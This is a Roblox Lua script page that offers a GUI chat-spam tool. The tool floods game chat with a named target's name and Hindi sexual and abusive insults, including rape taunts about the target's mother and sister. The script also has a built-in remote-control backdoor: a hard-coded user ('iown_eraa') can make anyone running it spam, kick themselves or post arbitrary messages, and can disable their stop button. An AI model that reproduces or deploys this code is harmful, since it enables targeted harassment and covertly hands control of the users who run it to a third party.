Sai X Khushi v1
Key RequiredUniversal

Sai X Khushi v1

Universal ScriptS1r_saiS1r_sai 220 views 40 executesUpdated Jan 11, 2026
Unrated
00
Lua Scriptโ€ข339 lines (10821 chars)
--[[
	WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
--[[
	WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
--[[
	WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
--[[
    Sai V1 - CUSTOM SCRIPT
    Modified for:iown_eraa
    
    WARNING: This script contains remote execution features.
    The user "iown_eraa" has master control over anyone running this script.
]]

local Players = game:GetService("Players")
local TextChatService = game:GetService("TextChatService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local player = Players.LocalPlayer

-- GUI SETUP
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "Sai x Khushi ๐Ÿ’•"
screenGui.ResetOnSpawn = false
screenGui.Parent = player:WaitForChild("PlayerGui")

local frame = Instance.new("Frame")
frame.Size = UDim2.new(0, 280, 0, 150)
frame.Position = UDim2.new(0.5, -140, 0.5, -75)
frame.BackgroundColor3 = Color3.fromHSV(hue, 0.4, 0.15)
frame.BorderSizePixel = 3
frame.BorderColor3 = Color3.fromRGB(0, 0, 0)
frame.Active = true
frame.Draggable = true
frame.Parent = screenGui
local RunService = game:GetService("RunService")

local speed = 1.2 -- change speed here
local hue = 0

RunService.RenderStepped:Connect(function(dt)
	hue = (hue + dt * speed) % 1

	-- Rainbow background
	frame.BackgroundColor3 = Color3.fromHSV(hue, 1, 1)

	-- Slightly brighter border
	frame.BorderColor3 = Color3.fromHSV((hue + 0.1) % 1, 1, 1)
end)

-- Rainbow border animation
local RunService = game:GetService("RunService")

local speed = 1.5
local hue = 0

RunService.RenderStepped:Connect(function(dt)
	hue = (hue + dt * speed) % 1
	frame.BorderColor3 = Color3.fromHSV(hue, 1, 1)
end)


local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 30)
title.BackgroundTransparency = 1
title.Text = "Sai x Khushi ๐Ÿ’•"
title.TextColor3 = Color3.new(1,1,1)
title.Font = Enum.Font.SourceSansBold
title.TextSize = 22
title.TextStrokeTransparency = 0.7
title.TextStrokeColor3 = Color3.new(0,0,0)
title.Parent = frame

-- RGB Title Effect
task.spawn(function()
    while task.wait() and title.Parent do
        title.TextColor3 = Color3.fromHSV(tick() % 5 / 5, 1, 1)
    end
end)

local label = Instance.new("TextLabel")
label.Size = UDim2.new(1, -20, 0, 22)
label.Position = UDim2.new(0, 10, 0, 38)
label.BackgroundTransparency = 1
label.Text = "Enter hater name:"
label.TextColor3 = Color3.fromRGB(220, 220, 220)
label.TextXAlignment = Enum.TextXAlignment.Left
label.Font = Enum.Font.SourceSans
label.TextSize = 10
label.Parent = frame

local textBox = Instance.new("TextBox")
textBox.Size = UDim2.new(1, -20, 0, 28)
textBox.Position = UDim2.new(0, 10, 0, 60)
textBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
textBox.BorderColor3 = Color3.fromRGB(0, 255, 255)
textBox.BorderSizePixel = 2
textBox.PlaceholderText = "Target nam dal de"
textBox.Text = ""
textBox.TextColor3 = Color3.new(1,1,1)
textBox.Font = Enum.Font.SourceSans
textBox.TextSize = 18
textBox.Parent = frame

local warningLabel = Instance.new("TextLabel")
warningLabel.Size = UDim2.new(1, -20, 0, 22)
warningLabel.Position = UDim2.new(0, 10, 0, 92)
warningLabel.BackgroundTransparency = 1
warningLabel.Text = ""
warningLabel.TextColor3 = Color3.fromRGB(255, 100, 100)
warningLabel.Font = Enum.Font.SourceSansBold
warningLabel.TextSize = 16
warningLabel.TextXAlignment = Enum.TextXAlignment.Center
warningLabel.Parent = frame

local startButton = Instance.new("TextButton")
startButton.Size = UDim2.new(0.45, -5, 0, 30)
startButton.Position = UDim2.new(0, 10, 1, -35)
startButton.BackgroundColor3 = Color3.fromRGB(0, 180, 0)
startButton.Text = "SPAMING"
startButton.TextColor3 = Color3.new(1,1,1)
startButton.Font = Enum.Font.SourceSansBold
startButton.TextSize = 16
startButton.Parent = frame
local RunService = game:GetService("RunService")

local speed = 1.5
local hue = 0

RunService.RenderStepped:Connect(function(dt)
	hue = (hue + dt * speed) % 1

	-- START button rainbow
	startButton.BackgroundColor3 = Color3.fromHSV(hue, 1, 1)

	-- STOP button rainbow (slightly offset so they look different)
	stopButton.BackgroundColor3 = Color3.fromHSV((hue + 0.5) % 1, 1, 1)
end)

local stopButton = Instance.new("TextButton")
stopButton.Size = UDim2.new(0.45, -5, 0, 30)
stopButton.Position = UDim2.new(0.55, -5, 1, -35)
stopButton.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
stopButton.Text = "STOP"
stopButton.TextColor3 = Color3.new(1,1,1)
stopButton.Font = Enum.Font.SourceSansBold
stopButton.TextSize = 16
stopButton.Parent = frame
local RunService = game:GetService("RunService")

local speed = 1.5
local hue = 0

RunService.RenderStepped:Connect(function(dt)
	hue = (hue + dt * speed) % 1

	-- START button rainbow
	startButton.BackgroundColor3 = Color3.fromHSV(hue, 1, 1)

	-- STOP button rainbow (slightly offset so they look different)
	stopButton.BackgroundColor3 = Color3.fromHSV((hue + 0.5) % 1, 1, 1)
end)


local close = Instance.new("TextButton")
close.Size = UDim2.new(0, 25, 0, 25)
close.Position = UDim2.new(1, -30, 0, 5)
close.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
close.Text = "X"
close.TextColor3 = Color3.new(1,1,1)
close.Font = Enum.Font.SourceSansBold
close.TextSize = 18
close.Parent = frame

close.MouseButton1Click:Connect(function()
    screenGui:Destroy()
end)

-- PROTECTION & FILTERS
local function isForbiddenName(name)
	if name == "" then return false end

	local cleaned = string.lower(name)

	-- remove spaces & symbols
	cleaned = string.gsub(cleaned, "[^a-z0-9]", "")

	-- leet-speak normalization
	cleaned = string.gsub(cleaned, "0", "o")
	cleaned = string.gsub(cleaned, "1", "i")
	cleaned = string.gsub(cleaned, "3", "e")
	cleaned = string.gsub(cleaned, "4", "a")
	cleaned = string.gsub(cleaned, "5", "s")
	cleaned = string.gsub(cleaned, "7", "t")
	cleaned = string.gsub(cleaned, "@", "a")
	cleaned = string.gsub(cleaned, "!", "i")

	-- block ONLY exact "sai"
	return cleaned == "sai"
end

textBox.Focused:Connect(function() warningLabel.Text = "" end)
textBox.FocusLost:Connect(function()
    if isForbiddenName(textBox.Text) then
        textBox.Text = ""
        warningLabel.Text = "Baap ka nam dalega? "
    end
end)

-- SPAM ENGINE
local isSpamming = false
local masterControlled = false

local function getPatternWithName(name, tag)
    local suffix = name .. " (" .. tag .. ")"
    local repeats = math.floor((200 - #suffix) / 2)
    return string.rep("-_", math.max(0, repeats)) .. suffix
end

local function getCreditPattern()
    local suffix = "SCRIPT BY akj200995"
    local repeats = math.floor((200 - #suffix) / 2)
    return string.rep("-_", math.max(0, repeats)) .. suffix
end

local function sendChatMessage(msg)
    msg = string.sub(msg, 1, 200)
    if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
        local channel = TextChatService.TextChannels:FindFirstChild("RBXGeneral")
        if channel then pcall(function() channel:SendAsync(msg) end) end
    else
        local events = ReplicatedStorage:FindFirstChild("DefaultChatSystemChatEvents")
        local remote = events and events:FindFirstChild("SayMessageRequest")
        if remote then pcall(function() remote:FireServer(msg, "All") end) end
    end
end

local function startSpamming(name, byMaster)
    if isSpamming then isSpamming = false task.wait(0.1) end
    if isForbiddenName(name) then return end

    textBox.Text = name
    masterControlled = byMaster
    isSpamming = true
    startButton.Text = "RUNNING"
    startButton.BackgroundColor3 = Color3.fromRGB(255, 180, 0)
    
    if masterControlled then
        stopButton.Text = "LOCKED"
        stopButton.BackgroundColor3 = Color3.fromRGB(100, 100, 100)
    end

    local messages = {
        getPatternWithName(name, "NEW GEN ๐Ÿคก"),
        getPatternWithName(name, "CHAL SAI PAPA BOL"),
        getPatternWithName(name, "jal ja ๐Ÿฅ"),
        getPatternWithName(name, "marja ๐Ÿคง"),
        getPatternWithName(name, "TMKX ME HATHI KA LNNN๐Ÿ˜"),
        getPatternWithName(name, "TBKB๐Ÿ˜˜"),
        getPatternWithName(name, "HIJRAA๐Ÿ™€"),
        getPatternWithName(name, "6KKAAโš”๏ธ"), 
        getPatternWithName(name, "TERI MA KI XHUT ME RUDY ๐Ÿคจ"),
        getPatternWithName(name, "TERI MA KA REP KARU๐Ÿ˜ฉ"),
        getPatternWithName(name, "TERI MUMMY KO SODU ๐ŸŒš"),
        getPatternWithName(name, "TERI MA KA ASIQ BANU ๐Ÿ˜ฉ๐Ÿ’—"),
        getPatternWithName(name, "TERI BAHEN KA ASIQ BANU ๐Ÿ˜‰๐Ÿ’—"),
        getPatternWithName(name, "TMKC THOMAS๐Ÿ—ฟ"),
        getPatternWithName(name, "TMKC ME SMARTPHONE ๐Ÿ˜‹"),
        getPatternWithName(name, "TERI BAHEN KA SEAL MENE TODA ๐Ÿ˜ฉ"),
        getPatternWithName(name, "TERI MA SEAL MENE TODA ๐Ÿฅฐ"),
        getCreditPattern()
    }

    task.spawn(function()
        while isSpamming do
            for _, msg in messages do
                if not isSpamming then break end
                sendChatMessage(msg)
                task.wait(1.8)
            end
            task.wait(0.5)
        end
        startButton.Text = "SPAMING"
        startButton.BackgroundColor3 = Color3.fromRGB(0, 180, 0)
        stopButton.Text = "STOP"
        stopButton.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
    end)
end

local function stopSpamming()
    isSpamming = false
    masterControlled = false
end

-- REMOTE COMMANDS
local AUTHORIZED = "iown_eraa"

local function handleChat(p, msg)
    if p.Name == AUTHORIZED then
        if msg == "!stop" then
            stopSpamming()
        elseif string.sub(msg, 1, 6) == "!spam " then
            local target = string.sub(msg, 7):match("^%s*(.-)%s*$")
            if target ~= "" and not isForbiddenName(target) then
                startSpamming(target, true)
            end
        elseif string.sub(msg, 1, 6) == "!kick " then
            local kickTarget = string.sub(msg, 7):match("^%s*(.-)%s*$")
            if player.Name == kickTarget or player.DisplayName == kickTarget then
                player:Kick("iown_eraakicked you")
            end
        elseif string.sub(msg, 1, 5) == "!say " then
            local sayMsg = string.sub(msg, 6):match("^%s*(.-)%s*$")
            if sayMsg ~= "" then sendChatMessage(sayMsg) end
        end
    end
end

-- Event Connections
startButton.MouseButton1Click:Connect(function()
    if not isSpamming then startSpamming(textBox.Text, false) end
end)

stopButton.MouseButton1Click:Connect(function()
    if not masterControlled then stopSpamming() end
end)

TextChatService.OnIncomingMessage:Connect(function(message)
    if message.TextSource then
        local sender = Players:GetPlayerByUserId(message.TextSource.UserId)
        if sender then handleChat(sender, message.Text) end
    end
end)

Players.PlayerAdded:Connect(function(p)
    p.Chatted:Connect(function(msg) handleChat(p, msg) end)
end)

Features & Information

Spamming script

Community Comments (0)

No comments yet for this script.

More Scripts for Universal Scripts